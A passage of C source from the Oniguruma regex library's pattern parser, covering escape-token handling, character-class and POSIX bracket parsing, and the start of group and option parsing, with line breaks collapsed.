fetch_name(&p, end, &name_end, env, &back_num, 1); #endif if (r < 0) return r; if (back_num != 0) { if (back_num < 0) { back_num = BACKREF_REL_TO_ABS(back_num, env); if (back_num <= 0) return ONIGERR_INVALID_BACKREF; } if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { if (back_num > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[back_num])) return ONIGERR_INVALID_BACKREF; } tok->type = TK_BACKREF; tok->u.backref.by_name = 0; tok->u.backref.num = 1; tok->u.backref.ref1 = back_num; } else { num = onig_name_to_group_numbers(env->reg, prev, name_end, &backs); if (num <= 0) { onig_scan_env_set_error_string(env, ONIGERR_UNDEFINED_NAME_REFERENCE, prev, name_end); return ONIGERR_UNDEFINED_NAME_REFERENCE; } if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { int i; for (i = 0; i < num; i++) { if (backs[i] > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[backs[i]])) return ONIGERR_INVALID_BACKREF; } } tok->type = TK_BACKREF; tok->u.backref.by_name = 1; if (num == 1) { tok->u.backref.num = 1; tok->u.backref.ref1 = backs[0]; } else { tok->u.backref.num = num; tok->u.backref.refs = backs; } } } else PUNFETCH; } break; #endif #ifdef USE_SUBEXP_CALL case 'g': if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_G_SUBEXP_CALL)) { PFETCH(c); if (c == '<' || c == '\'') { int gnum; UChar* name_end; prev = p; r = fetch_name((OnigCodePoint )c, &p, end, &name_end, env, &gnum, 1); if (r < 0) return r; tok->type = TK_CALL; tok->u.call.name = prev; tok->u.call.name_end = name_end; tok->u.call.gnum = gnum; } else PUNFETCH; } break; #endif case 'Q': if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_CAPITAL_Q_QUOTE)) { tok->type = TK_QUOTE_OPEN; } break; case 'p': case 'P': if (!PEND && PPEEK_IS('{') && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) { PINC; tok->type = TK_CHAR_PROPERTY; tok->u.prop.not = (c == 'P' ? 1 : 0); if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) { PFETCH(c); if (c == '^') { tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0); } else PUNFETCH; } } break; default: { OnigCodePoint c2; PUNFETCH; num = fetch_escaped_value(&p, end, env, &c2); if (num < 0) return num; /* set_raw: */ if (tok->u.c != c2) { tok->type = TK_CODE_POINT; tok->u.code = c2; } else { /* string */ p = tok->backp + enclen(enc, tok->backp); } } break; } } else { tok->u.c = c; tok->escaped = 0; #ifdef USE_VARIABLE_META_CHARS if ((c != ONIG_INEFFECTIVE_META_CHAR) && IS_SYNTAX_OP(syn, ONIG_SYN_OP_VARIABLE_META_CHARACTERS)) { if (c == MC_ANYCHAR(syn)) goto any_char; else if (c == MC_ANYTIME(syn)) goto anytime; else if (c == MC_ZERO_OR_ONE_TIME(syn)) goto zero_or_one_time; else if (c == MC_ONE_OR_MORE_TIME(syn)) goto one_or_more_time; else if (c == MC_ANYCHAR_ANYTIME(syn)) { tok->type = TK_ANYCHAR_ANYTIME; goto out; } } #endif switch (c) { case '.': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_DOT_ANYCHAR)) break; #ifdef USE_VARIABLE_META_CHARS any_char: #endif tok->type = TK_ANYCHAR; break; case '*': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ASTERISK_ZERO_INF)) break; #ifdef USE_VARIABLE_META_CHARS anytime: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '+': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_PLUS_ONE_INF)) break; #ifdef USE_VARIABLE_META_CHARS one_or_more_time: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 1; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '?': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_ZERO_ONE)) break; #ifdef USE_VARIABLE_META_CHARS zero_or_one_time: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = 1; goto greedy_check; break; case '{': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACE_INTERVAL)) break; r = fetch_range_quantifier(&p, end, tok, env); if (r < 0) return r; /* error */ if (r == 0) goto greedy_check; else if (r == 2) { /* {n} */ if (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY)) goto possessive_check; goto greedy_check; } /* r == 1 : normal char */ break; case '|': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_VBAR_ALT)) break; tok->type = TK_ALT; break; case '(': if (!PEND && PPEEK_IS('?') && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_QMARK_GROUP_EFFECT)) { PINC; if (!PEND && PPEEK_IS('#')) { PFETCH(c); while (1) { if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); if (c == MC_ESC(syn)) { if (!PEND) PFETCH(c); } else { if (c == ')') break; } } goto start; } PUNFETCH; } if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_OPEN; break; case ')': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_CLOSE; break; case '^': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = (IS_SINGLELINE(env->option) ? ANCHOR_BEGIN_BUF : ANCHOR_BEGIN_LINE); break; case '$': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = (IS_SINGLELINE(env->option) ? ANCHOR_SEMI_END_BUF : ANCHOR_END_LINE); break; case '[': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACKET_CC)) break; tok->type = TK_CC_OPEN; break; case ']': if (*src > env->pattern) /* /].../ is allowed. */ CLOSE_BRACKET_WITHOUT_ESC_WARN(env, (UChar* )"]"); break; case '#': if (IS_EXTEND(env->option)) { while (!PEND) { PFETCH(c); if (ONIGENC_IS_CODE_NEWLINE(enc, c)) break; } goto start; break; } break; case ' ': case '\t': case '\n': case '\r': case '\f': if (IS_EXTEND(env->option)) goto start; break; default: /* string */ break; } } #ifdef USE_VARIABLE_META_CHARS out: #endif *src = p; return tok->type; } static int add_ctype_to_cc_by_range(CClassNode* cc, int ctype ARG_UNUSED, int not, OnigEncoding enc ARG_UNUSED, OnigCodePoint sb_out, const OnigCodePoint mbr[]) { int i, r; OnigCodePoint j; int n = ONIGENC_CODE_RANGE_NUM(mbr); if (not == 0) { for (i = 0; i < n; i++) { for (j = ONIGENC_CODE_RANGE_FROM(mbr, i); j <= ONIGENC_CODE_RANGE_TO(mbr, i); j++) { if (j >= sb_out) { if (j > ONIGENC_CODE_RANGE_FROM(mbr, i)) { r = add_code_range_to_buf(&(cc->mbuf), j, ONIGENC_CODE_RANGE_TO(mbr, i)); if (r != 0) return r; i++; } goto sb_end; } BITSET_SET_BIT(cc->bs, j); } } sb_end: for ( ; i < n; i++) { r = add_code_range_to_buf(&(cc->mbuf), ONIGENC_CODE_RANGE_FROM(mbr, i), ONIGENC_CODE_RANGE_TO(mbr, i)); if (r != 0) return r; } } else { OnigCodePoint prev = 0; for (i = 0; i < n; i++) { for (j = prev; j < ONIGENC_CODE_RANGE_FROM(mbr, i); j++) { if (j >= sb_out) { goto sb_end2; } BITSET_SET_BIT(cc->bs, j); } prev = ONIGENC_CODE_RANGE_TO(mbr, i) + 1; } for (j = prev; j < sb_out; j++) { BITSET_SET_BIT(cc->bs, j); } sb_end2: prev = sb_out; for (i = 0; i < n; i++) { if (prev < ONIGENC_CODE_RANGE_FROM(mbr, i)) { r = add_code_range_to_buf(&(cc->mbuf), prev, ONIGENC_CODE_RANGE_FROM(mbr, i) - 1); if (r != 0) return r; } prev = ONIGENC_CODE_RANGE_TO(mbr, i) + 1; } if (prev < 0x7fffffff) { r = add_code_range_to_buf(&(cc->mbuf), prev, 0x7fffffff); if (r != 0) return r; } } return 0; } static int add_ctype_to_cc(CClassNode* cc, int ctype, int not, ScanEnv* env) { int c, r; const OnigCodePoint *ranges; OnigCodePoint sb_out; OnigEncoding enc = env->enc; r = ONIGENC_GET_CTYPE_CODE_RANGE(enc, ctype, &sb_out, &ranges); if (r == 0) { return add_ctype_to_cc_by_range(cc, ctype, not, env->enc, sb_out, ranges); } else if (r != ONIG_NO_SUPPORT_CONFIG) { return r; } r = 0; switch (ctype) { case ONIGENC_CTYPE_ALPHA: case ONIGENC_CTYPE_BLANK: case ONIGENC_CTYPE_CNTRL: case ONIGENC_CTYPE_DIGIT: case ONIGENC_CTYPE_LOWER: case ONIGENC_CTYPE_PUNCT: case ONIGENC_CTYPE_SPACE: case ONIGENC_CTYPE_UPPER: case ONIGENC_CTYPE_XDIGIT: case ONIGENC_CTYPE_ASCII: case ONIGENC_CTYPE_ALNUM: if (not != 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (! ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } } break; case ONIGENC_CTYPE_GRAPH: case ONIGENC_CTYPE_PRINT: if (not != 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (! ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } break; case ONIGENC_CTYPE_WORD: if (not == 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (IS_CODE_SB_WORD(enc, c)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if ((ONIGENC_CODE_TO_MBCLEN(enc, c) > 0) /* check invalid code point */ && ! ONIGENC_IS_CODE_WORD(enc, c)) BITSET_SET_BIT(cc->bs, c); } } break; default: return ONIGERR_PARSER_BUG; break; } return r; } static int parse_posix_bracket(CClassNode* cc, UChar** src, UChar* end, ScanEnv* env) { #define POSIX_BRACKET_CHECK_LIMIT_LENGTH 20 #define POSIX_BRACKET_NAME_MIN_LEN 4 static PosixBracketEntryType PBS[] = { { (UChar* )"alnum", ONIGENC_CTYPE_ALNUM, 5 }, { (UChar* )"alpha", ONIGENC_CTYPE_ALPHA, 5 }, { (UChar* )"blank", ONIGENC_CTYPE_BLANK, 5 }, { (UChar* )"cntrl", ONIGENC_CTYPE_CNTRL, 5 }, { (UChar* )"digit", ONIGENC_CTYPE_DIGIT, 5 }, { (UChar* )"graph", ONIGENC_CTYPE_GRAPH, 5 }, { (UChar* )"lower", ONIGENC_CTYPE_LOWER, 5 }, { (UChar* )"print", ONIGENC_CTYPE_PRINT, 5 }, { (UChar* )"punct", ONIGENC_CTYPE_PUNCT, 5 }, { (UChar* )"space", ONIGENC_CTYPE_SPACE, 5 }, { (UChar* )"upper", ONIGENC_CTYPE_UPPER, 5 }, { (UChar* )"xdigit", ONIGENC_CTYPE_XDIGIT, 6 }, { (UChar* )"ascii", ONIGENC_CTYPE_ASCII, 5 }, { (UChar* )"word", ONIGENC_CTYPE_WORD, 4 }, { (UChar* )NULL, -1, 0 } }; PosixBracketEntryType *pb; int not, i, r; OnigCodePoint c; OnigEncoding enc = env->enc; UChar *p = *src; if (PPEEK_IS('^')) { PINC_S; not = 1; } else not = 0; if (onigenc_strlen(enc, p, end) < POSIX_BRACKET_NAME_MIN_LEN + 3) goto not_posix_bracket; for (pb = PBS; IS_NOT_NULL(pb->name); pb++) { if (onigenc_with_ascii_strncmp(enc, p, end, pb->name, pb->len) == 0) { p = (UChar* )onigenc_step(enc, p, end, pb->len); if (onigenc_with_ascii_strncmp(enc, p, end, (UChar* )":]", 2) != 0) return ONIGERR_INVALID_POSIX_BRACKET_TYPE; r = add_ctype_to_cc(cc, pb->ctype, not, env); if (r != 0) return r; PINC_S; PINC_S; *src = p; return 0; } } not_posix_bracket: c = 0; i = 0; while (!PEND && ((c = PPEEK) != ':') && c != ']') { PINC_S; if (++i > POSIX_BRACKET_CHECK_LIMIT_LENGTH) break; } if (c == ':' && ! PEND) { PINC_S; if (! PEND) { PFETCH_S(c); if (c == ']') return ONIGERR_INVALID_POSIX_BRACKET_TYPE; } } return 1; /* 1: is not POSIX bracket, but no error. */ } static int fetch_char_property_to_ctype(UChar** src, UChar* end, ScanEnv* env) { int r; OnigCodePoint c; OnigEncoding enc = env->enc; UChar *prev, *start, *p = *src; r = 0; start = prev = p; while (!PEND) { prev = p; PFETCH_S(c); if (c == '}') { r = ONIGENC_PROPERTY_NAME_TO_CTYPE(enc, start, prev); if (r < 0) break; *src = p; return r; } else if (c == '(' || c == ')' || c == '{' || c == '|') { r = ONIGERR_INVALID_CHAR_PROPERTY_NAME; break; } } onig_scan_env_set_error_string(env, r, *src, prev); return r; } static int parse_char_property(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, ctype; CClassNode* cc; ctype = fetch_char_property_to_ctype(src, end, env); if (ctype < 0) return ctype; *np = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(*np); cc = NCCLASS(*np); r = add_ctype_to_cc(cc, ctype, 0, env); if (r != 0) return r; if (tok->u.prop.not != 0) NCCLASS_SET_NOT(cc); return 0; } enum CCSTATE { CCS_VALUE, CCS_RANGE, CCS_COMPLETE, CCS_START }; enum CCVALTYPE { CCV_SB, CCV_CODE_POINT, CCV_CLASS }; static int next_state_class(CClassNode* cc, OnigCodePoint* vs, enum CCVALTYPE* type, enum CCSTATE* state, ScanEnv* env) { int r; if (*state == CCS_RANGE) return ONIGERR_CHAR_CLASS_VALUE_AT_END_OF_RANGE; if (*state == CCS_VALUE && *type != CCV_CLASS) { if (*type == CCV_SB) BITSET_SET_BIT(cc->bs, (int )(*vs)); else if (*type == CCV_CODE_POINT) { r = add_code_range(&(cc->mbuf), env, *vs, *vs); if (r < 0) return r; } } *state = CCS_VALUE; *type = CCV_CLASS; return 0; } static int next_state_val(CClassNode* cc, OnigCodePoint *vs, OnigCodePoint v, int* vs_israw, int v_israw, enum CCVALTYPE intype, enum CCVALTYPE* type, enum CCSTATE* state, ScanEnv* env) { int r; switch (*state) { case CCS_VALUE: if (*type == CCV_SB) { if (*vs > 0xff) return ONIGERR_INVALID_CODE_POINT_VALUE; BITSET_SET_BIT(cc->bs, (int )(*vs)); } else if (*type == CCV_CODE_POINT) { r = add_code_range(&(cc->mbuf), env, *vs, *vs); if (r < 0) return r; } break; case CCS_RANGE: if (intype == *type) { if (intype == CCV_SB) { if (*vs > 0xff || v > 0xff) return ONIGERR_INVALID_CODE_POINT_VALUE; if (*vs > v) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) goto ccs_range_end; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } bitset_set_range(cc->bs, (int )*vs, (int )v); } else { r = add_code_range(&(cc->mbuf), env, *vs, v); if (r < 0) return r; } } else { #if 0 if (intype == CCV_CODE_POINT && *type == CCV_SB) { #endif if (*vs > v) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) goto ccs_range_end; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } bitset_set_range(cc->bs, (int )*vs, (int )(v < 0xff ? v : 0xff)); r = add_code_range(&(cc->mbuf), env, (OnigCodePoint )*vs, v); if (r < 0) return r; #if 0 } else return ONIGERR_MISMATCH_CODE_LENGTH_IN_CLASS_RANGE; #endif } ccs_range_end: *state = CCS_COMPLETE; break; case CCS_COMPLETE: case CCS_START: *state = CCS_VALUE; break; default: break; } *vs_israw = v_israw; *vs = v; *type = intype; return 0; } static int code_exist_check(OnigCodePoint c, UChar* from, UChar* end, int ignore_escaped, ScanEnv* env) { int in_esc; OnigCodePoint code; OnigEncoding enc = env->enc; UChar* p = from; in_esc = 0; while (! PEND) { if (ignore_escaped && in_esc) { in_esc = 0; } else { PFETCH_S(code); if (code == c) return 1; if (code == MC_ESC(env->syntax)) in_esc = 1; } } return 0; } static int parse_char_class(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, neg, len, fetched, and_start; OnigCodePoint v, vs; UChar *p; Node* node; CClassNode *cc, *prev_cc; CClassNode work_cc; enum CCSTATE state; enum CCVALTYPE val_type, in_type; int val_israw, in_israw; *np = NULL_NODE; env->parse_depth++; if (env->parse_depth > ParseDepthLimit) return ONIGERR_PARSE_DEPTH_LIMIT_OVER; prev_cc = (CClassNode* )NULL; r = fetch_token_in_cc(tok, src, end, env); if (r == TK_CHAR && tok->u.c == '^' && tok->escaped == 0) { neg = 1; r = fetch_token_in_cc(tok, src, end, env); } else { neg = 0; } if (r < 0) return r; if (r == TK_CC_CLOSE) { if (! code_exist_check((OnigCodePoint )']', *src, env->pattern_end, 1, env)) return ONIGERR_EMPTY_CHAR_CLASS; CC_ESC_WARN(env, (UChar* )"]"); r = tok->type = TK_CHAR; /* allow []...] */ } *np = node = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(node); cc = NCCLASS(node); and_start = 0; state = CCS_START; p = *src; while (r != TK_CC_CLOSE) { fetched = 0; switch (r) { case TK_CHAR: any_char_in: len = ONIGENC_CODE_TO_MBCLEN(env->enc, tok->u.c); if (len > 1) { in_type = CCV_CODE_POINT; } else if (len < 0) { r = len; goto err; } else { /* sb_char: */ in_type = CCV_SB; } v = (OnigCodePoint )tok->u.c; in_israw = 0; goto val_entry2; break; case TK_RAW_BYTE: /* tok->base != 0 : octal or hexadec. */ if (! ONIGENC_IS_SINGLEBYTE(env->enc) && tok->base != 0) { UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; UChar* bufe = buf + ONIGENC_CODE_TO_MBC_MAXLEN; UChar* psave = p; int i, base = tok->base; buf[0] = tok->u.c; for (i = 1; i < ONIGENC_MBC_MAXLEN(env->enc); i++) { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; if (r != TK_RAW_BYTE || tok->base != base) { fetched = 1; break; } buf[i] = tok->u.c; } if (i < ONIGENC_MBC_MINLEN(env->enc)) { r = ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; goto err; } len = enclen(env->enc, buf); if (i < len) { r = ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; goto err; } else if (i > len) { /* fetch back */ p = psave; for (i = 1; i < len; i++) { r = fetch_token_in_cc(tok, &p, end, env); } fetched = 0; } if (i == 1) { v = (OnigCodePoint )buf[0]; goto raw_single; } else { v = ONIGENC_MBC_TO_CODE(env->enc, buf, bufe); in_type = CCV_CODE_POINT; } } else { v = (OnigCodePoint )tok->u.c; raw_single: in_type = CCV_SB; } in_israw = 1; goto val_entry2; break; case TK_CODE_POINT: v = tok->u.code; in_israw = 1; val_entry: len = ONIGENC_CODE_TO_MBCLEN(env->enc, v); if (len < 0) { r = len; goto err; } in_type = (len == 1 ? CCV_SB : CCV_CODE_POINT); val_entry2: r = next_state_val(cc, &vs, v, &val_israw, in_israw, in_type, &val_type, &state, env); if (r != 0) goto err; break; case TK_POSIX_BRACKET_OPEN: r = parse_posix_bracket(cc, &p, end, env); if (r < 0) goto err; if (r == 1) { /* is not POSIX bracket */ CC_ESC_WARN(env, (UChar* )"["); p = tok->backp; v = (OnigCodePoint )tok->u.c; in_israw = 0; goto val_entry; } goto next_class; break; case TK_CHAR_TYPE: r = add_ctype_to_cc(cc, tok->u.prop.ctype, tok->u.prop.not, env); if (r != 0) return r; next_class: r = next_state_class(cc, &vs, &val_type, &state, env); if (r != 0) goto err; break; case TK_CHAR_PROPERTY: { int ctype; ctype = fetch_char_property_to_ctype(&p, end, env); if (ctype < 0) return ctype; r = add_ctype_to_cc(cc, ctype, tok->u.prop.not, env); if (r != 0) return r; goto next_class; } break; case TK_CC_RANGE: if (state == CCS_VALUE) { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; if (r == TK_CC_CLOSE) { /* allow [x-] */ range_end_val: v = (OnigCodePoint )'-'; in_israw = 0; goto val_entry; } else if (r == TK_CC_AND) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; } state = CCS_RANGE; } else if (state == CCS_START) { /* [-xa] is allowed */ v = (OnigCodePoint )tok->u.c; in_israw = 0; r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; /* [--x] or [a&&-x] is warned. */ if (r == TK_CC_RANGE || and_start != 0) CC_ESC_WARN(env, (UChar* )"-"); goto val_entry; } else if (state == CCS_RANGE) { CC_ESC_WARN(env, (UChar* )"-"); goto any_char_in; /* [!--x] is allowed */ } else { /* CCS_COMPLETE */ r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; if (r == TK_CC_CLOSE) goto range_end_val; /* allow [a-b-] */ else if (r == TK_CC_AND) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; } if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_DOUBLE_RANGE_OP_IN_CC)) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; /* [0-9-a] is allowed as [0-9\-a] */ } r = ONIGERR_UNMATCHED_RANGE_SPECIFIER_IN_CHAR_CLASS; goto err; } break; case TK_CC_CC_OPEN: /* [ */ { Node *anode; CClassNode* acc; r = parse_char_class(&anode, tok, &p, end, env); if (r != 0) { onig_node_free(anode); goto cc_open_err; } acc = NCCLASS(anode); r = or_cclass(cc, acc, env->enc); onig_node_free(anode); cc_open_err: if (r != 0) goto err; } break; case TK_CC_AND: /* && */ { if (state == CCS_VALUE) { r = next_state_val(cc, &vs, 0, &val_israw, 0, val_type, &val_type, &state, env); if (r != 0) goto err; } /* initialize local variables */ and_start = 1; state = CCS_START; if (IS_NOT_NULL(prev_cc)) { r = and_cclass(prev_cc, cc, env->enc); if (r != 0) goto err; bbuf_free(cc->mbuf); } else { prev_cc = cc; cc = &work_cc; } initialize_cclass(cc); } break; case TK_EOT: r = ONIGERR_PREMATURE_END_OF_CHAR_CLASS; goto err; break; default: r = ONIGERR_PARSER_BUG; goto err; break; } if (fetched) r = tok->type; else { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; } } if (state == CCS_VALUE) { r = next_state_val(cc, &vs, 0, &val_israw, 0, val_type, &val_type, &state, env); if (r != 0) goto err; } if (IS_NOT_NULL(prev_cc)) { r = and_cclass(prev_cc, cc, env->enc); if (r != 0) goto err; bbuf_free(cc->mbuf); cc = prev_cc; } if (neg != 0) NCCLASS_SET_NOT(cc); else NCCLASS_CLEAR_NOT(cc); if (IS_NCCLASS_NOT(cc) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_NOT_NEWLINE_IN_NEGATIVE_CC)) { int is_empty; is_empty = (IS_NULL(cc->mbuf) ? 1 : 0); if (is_empty != 0) BITSET_IS_EMPTY(cc->bs, is_empty); if (is_empty == 0) { #define NEWLINE_CODE 0x0a if (ONIGENC_IS_CODE_NEWLINE(env->enc, NEWLINE_CODE)) { if (ONIGENC_CODE_TO_MBCLEN(env->enc, NEWLINE_CODE) == 1) BITSET_SET_BIT(cc->bs, NEWLINE_CODE); else add_code_range(&(cc->mbuf), env, NEWLINE_CODE, NEWLINE_CODE); } } } *src = p; env->parse_depth--; return 0; err: if (cc != NCCLASS(*np)) bbuf_free(cc->mbuf); return r; } static int parse_subexp(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env); static int parse_enclose(Node** np, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r, num; Node *target; OnigOptionType option; OnigCodePoint c; OnigEncoding enc = env->enc; #ifdef USE_NAMED_GROUP int list_capture; #endif UChar* p = *src; PFETCH_READY; *np = NULL; if (PEND) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; option = env->option; if (PPEEK_IS('?') && IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_GROUP_EFFECT)) { PINC; if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); switch (c) { case ':': /* (?:...) grouping only */ group: r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(np, tok, term, &p, end, env); if (r < 0) return r; *src = p; return 1; /* group */ break; case '=': *np = onig_node_new_anchor(ANCHOR_PREC_READ); break; case '!': /* preceding read */ *np = onig_node_new_anchor(ANCHOR_PREC_READ_NOT); break; case '>': /* (?>...) stop backtrack */ *np = node_new_enclose(ENCLOSE_STOP_BACKTRACK); break; #ifdef USE_NAMED_GROUP case '\'': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { goto named_group1; } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; #endif case '<': /* look behind (?<=...), (?<!...) */ if (PEND) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; PFETCH(c); if (c == '=') *np = onig_node_new_anchor(ANCHOR_LOOK_BEHIND); else if (c == '!') *np = onig_node_new_anchor(ANCHOR_LOOK_BEHIND_NOT); #ifdef USE_NAMED_GROUP else { if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { UChar *name; UChar *name_end; PUNFETCH; c = '<'; named_group1: list_capture = 0; named_group2: name = p; r = fetch_name((OnigCodePoint )c, &p, end, &name_end, env, &num, 0); if (r < 0) return r; num = scan_env_add_mem_entry(env); if (num < 0) return num; if (list_capture != 0 && num >= (int )BIT_STATUS_BITS_NUM) return ONIGERR_GROUP_NUMBER_OVER_FOR_CAPTURE_HISTORY; r = name_add(env->reg, name, name_end, num, env); if (r != 0) return r; *np = node_new_enclose_memory(env->option, 1); CHECK_NULL_RETURN_MEMERR(*np); NENCLOSE(*np)->regnum = num; if (list_capture != 0) BIT_STATUS_ON_AT_SIMPLE(env->capture_history, num); env->num_named++; } else { return ONIGERR_UNDEFINED_GROUP_OPTION; } } #else else { return ONIGERR_UNDEFINED_GROUP_OPTION; } #endif break; case '@': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ATMARK_CAPTURE_HISTORY)) { #ifdef USE_NAMED_GROUP if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { PFETCH(c); if (c == '<' || c == '\'') { list_capture = 1; goto named_group2; /* (?@<name>...) */ } PUNFETCH; } #endif *np = node_new_enclose_memory(env->option, 0); CHECK_NULL_RETURN_MEMERR(*np); num = scan_env_add_mem_entry(env); if (num < 0) { return num; } else if (num >= (int )BIT_STATUS_BITS_NUM) { return ONIGERR_GROUP_NUMBER_OVER_FOR_CAPTURE_HISTORY; } NENCLOSE(*np)->regnum = num; BIT_STATUS_ON_AT_SIMPLE(env->capture_history, num); } else { return ONIGERR_UNDEFINED_GROUP_OPTION; } break; #ifdef USE_POSIXLINE_OPTION case 'p': #endif case '-': case 'i': case 'm': case 's': case 'x': { int neg = 0; while (1) { switch (c) { case ':': case ')': break; case '-': neg = 1; break; case 'x': ONOFF(option, ONIG_OPTION_EXTEND, neg); break; case 'i': ONOFF(option, ONIG_OPTION_IGNORECASE, neg); break; case 's': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_PERL)) { ONOFF(option, ONIG_OPTION_MULTILINE, neg); } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; case 'm': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_PERL)) { ONOFF(option, ONIG_OPTION_SINGLELINE, (neg == 0 ? 1 : 0)); } else if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_RUBY)) { ONOFF(option, ONIG_OPTION_MULTILINE, neg); } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; #ifdef USE_POSIXLINE_OPTION case 'p': ONOFF(option, ONIG_OPTION_MULTILINE|ONIG_OPTION_SINGLELINE, neg); break; #endif default: return ONIGERR_UNDEFINED_GROUP_OPTION; } if (c == ')') { *np = node_new_option(option); CHECK_NULL_RETURN_MEMERR(*np); *src = p; return 2; /* option only */ } else if (c == ':') { OnigOptionType prev = env->option; env->option = option; r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, &p, end, env); env->option = prev; if (r < 0) { onig_node_free(target); return r; } *np = node_new_option(option); CHECK_NULL_RETURN_MEMERR(*np); NENCLOSE(*np)->target = target; *src = p; return 0; } if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); } } break; default: return ONIGERR_UNDEFINED_GROUP_OPTION; } } else { if (ONIG_IS_OPTION_ON(env->option, ONIG_OPTION_DONT_CAPTURE_GROUP)) goto group; *np = node_new_enclose_memory(env->option, 0); CHECK_NULL_RETURN_MEMERR(*np); num = scan_env_add_mem_entry(env); if (num < 0) 